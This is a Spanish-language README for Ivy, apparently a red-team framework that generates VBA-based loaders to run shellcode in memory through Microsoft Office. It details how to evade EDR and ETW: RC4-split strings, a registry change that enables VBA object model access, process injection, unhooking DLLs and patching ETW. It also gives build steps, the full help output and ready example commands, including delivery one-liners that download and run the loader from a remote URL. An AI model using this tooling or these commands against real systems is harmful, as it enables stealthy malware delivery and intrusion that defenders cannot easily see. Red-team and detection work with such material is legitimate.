
Ivy es un framework de creación de payloads para la ejecución de código fuente arbitrario de VBA (macro) directamente en memoria. El loader de Ivy logra esto mediante el uso de acceso programático en el entorno de objetos de VBA para cargar, descifrar y ejecutar shellcode.
Para ver la última versión de Ivy o para enviar un problema, consulte https://github.com/Tylous/Ivy.
Si desea obtener más información sobre las técnicas utilizadas en este framework, así como las medidas defensivas para ayudar a defenderse contra él, eche un vistazo al Artículo.
Ivy es un framework de creación de payloads para la ejecución de código fuente VBA (macro) arbitrario en memoria. El loader de Ivy hace esto abusando del acceso programático en el entorno de objetos VBA para cargar, descifrar y ejecutar shellcode. Esta técnica es lo más cercano posible a ser verdaderamente fileless, ya que la mayoría de los ataques fileless hoy en día requieren algún tipo de archivos que se depositen en el disco, evitando así las reglas estándar basadas en firmas para detectar código VBA. Los payloads VBA típicos tienen las siguientes características:
Al ejecutarse puramente en memoria, estas características de comportamiento dificultan su detección por parte de los EDR.
Los loaders de Ivy se cifran con cifrado RC4 (el cifrado AES provoca mucho bloat y tarda una eternidad en descifrarse con VBA) y luego se dividen en cadenas separadas, evitando que cualquier sandboxing reconozca estas cadenas como cadenas cifradas que deberían investigarse. Esto también evita que cualquier mecanismo de decodificación reconozca estos payloads como algo más que caracteres basura.
El loader de Ivy primero realiza una consulta de registro para habilitar "Confiar en el acceso al modelo de objetos de proyectos de VBA". Este valor de clave de registro se almacena en modo usuario, lo que permite al usuario modificar el valor sin requerir permisos elevados. El valor del registro se establece de cero a uno; si la clave de registro no existe, Ivy la creará con un valor de "1". Con este valor habilitado, se permite el acceso programático al entorno de objetos VBA desde un proceso diferente.
Una vez hecho esto, el loader generará un proceso oculto de Excel y cargará las cadenas cifradas en una función VBA. Esto se hace usando ActiveX para simular las acciones de la GUI de realizar la misma tarea. Esto ayuda a evadir muchos controles tradicionales establecidos para monitorear la ejecución. Como resultado, la función de descifrado y el shellcode se mueven de un búfer de memoria a otro, sin tocar nunca el disco. Finalmente, el loader utiliza llamadas command-GUI y ejecuta la función run, que simula el acto de hacer clic en el botón de ejecutar macro en el panel de GUI de VBA, comenzando la función de descifrado, seguida de la ejecución real del shellcode.
IMPORTANTE
El endpoint objetivo debe tener Microsoft Office instalado y activado para poder ejecutarse porque Ivy depende de abusar del acceso programático al entorno VBA de Microsoft Office.
Esto permite a Ivy usar llamadas de sistema de bajo nivel para construir su propia versión de la función de Windows WriteProcessMemory al referenciar la dirección de memoria exacta y los valores de registro indirectamente. Ivy puede sobrescribir secciones de memoria que no son escribibles sin llamar a ninguna de las funciones de API de cambio de memoria. Esto se debe a una característica de WriteProcessMemory que cambia temporalmente los permisos de la región de memoria a escribible (si tienes privilegios suficientes, que los tenemos ya que somos dueños del proceso). Escribe el valor y restaura los permisos originales sin llamar a la función VirtualProtect; en su lugar, llama automáticamente a la syscall asociada (NtProtectVirtualMemory).
Ivy no utiliza su propia versión de NtWriteVirtualMemory porque este proceso de cambiar temporalmente los permisos de memoria no ocurriría, lo que significa que la protección de la dirección de memoria específica no se modificaría y la ejecución fallaría. Esta es una "característica" que Microsoft ha lanzado para hacer que los depuradores sean más estables. Como los depuradores quieren modificar la memoria sobre la marcha, simplemente pueden modificar una sección sin tener que realizar múltiples tareas. (Consulte devblogs.microsoft.com para obtener información)
Echemos un vistazo a la serie de eventos que un EDR vería:
Una vez que todos los hooks del EDR han sido eliminados, el loader realiza su acción normal para establecer una sesión remota.
Ivy aborda esto desenganchando DLLs comunes del sistema que los EDR enganchan, esto incluye:
Al usar unhook con un tipo de payload Inject, el loader de Ivy primero desengancha el proceso de Office eliminando el EDR de él y luego elimina los hooks en el proceso inyectado. Esto asegura que ambos procesos estén libres de hooks, evitando que cualquier telemetría del proceso padre e hijo se envíe al EDR.
Usando la misma técnica para desenganchar, Ivy puede parchear funciones de ETW, evitando que se genere cualquier evento por parte del proceso. ETW utiliza syscalls integradas para generar esta telemetría. Dado que ETW es una característica nativa integrada en Windows, los productos de seguridad no necesitan "enganchar" las syscalls de ETW para obtener la información. Como resultado, para evitar ETW, Ivy parchea numerosas syscalls de ETW, vaciando los registros y devolviendo el flujo de ejecución a la siguiente instrucción. El parcheo de ETW ahora está predeterminado en todos los loaders; si desea no parchear ETW, use la opción de línea de comandos -noetw para deshabilitarlo en su loader.
Ivy fue desarrollado con go.
El primer paso, como siempre, es clonar el repositorio. Antes de compilar Ivy, necesitarás instalar las dependencias. Para instalarlas, ejecuta los siguientes comandos:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
Luego constrúyelo
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
Al generar un loader con Ivy, necesitas generar un payload de 64 y 32 bits e ingresarlos con los argumentos de línea de comandos -Ix64 y -Ix86. Esto se debe a que el sistema operativo puede ser de 64 bits pero la versión de Office en ejecución puede ser realmente de 32 bits; como resultado, Ivy detectará la arquitectura adecuada antes de inyectar el payload.
Además, al generar un loader hay dos tipos de payload. El primero, Inject, realiza un ataque de inyección de proceso donde se genera un nuevo proceso en estado suspendido y se inyecta el shellcode en el proceso, antes de reanudarlo. Si bien la inyección de proceso puede ser útil y genera un proceso que no es de Excel, los EDR son muy hábiles para detectar el acto de crear un proceso suspendido para inyectar, lo que puede llevarnos a ser detectados. La opción más sigilosa es Local. Esto carga el shellcode directamente en el proceso de Office actual. La opción Local también viene con características adicionales para evitar la detección, utilizando llamadas directas a algunas syscalls de Windows. Esto se debe a que el entorno VBA nos permite definir y llamar a la función exacta (siempre que hayamos alineado todos los registros correctamente de antemano) basada en la pila. Finalmente, el loader de Ivy en este tipo de payload tiene una llamada no documentada para ejecutar shellcode, lo que dificulta su detección.
Con el modo Inject, Ivy creará un proceso en estado suspendido para inyectar shellcode. Dependiendo de si el sistema es de 32 o 64 bits, generará un proceso diferente. Ivy incluye algunos nombres de procesos predeterminados para generar, pero estos se pueden cambiar usando las banderas process32 o process64. Al especificar la ruta, asegúrate de usar \\ para la ruta.
En primer lugar, SIEMPRE DEBERÍAS USAR el argumento -stageless. Sin embargo, si alguna vez necesitas ejecutar un payload staged, puedes hacerlo no usando el argumento -stageless. Al usar -stageless puedes usar shellcode raw; sin embargo, cuando eliges ejecutar un payload staged, es importante que para los tipos de payload Inject el shellcode debe tener formato VBA, y para los tipos Local, el shellcode debe tener formato C.
El argumento de línea de comandos delivery te permite generar un comando o cadena de código (en el caso de macro) para extraer el archivo de forma remota desde una fuente remota al host de la víctima. Estos métodos de entrega incluyen:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
Actualmente hay un problema conocido con el desenganche del proceso inyectado remoto. Una solución alternativa por ahora es cargar el BOF unhook.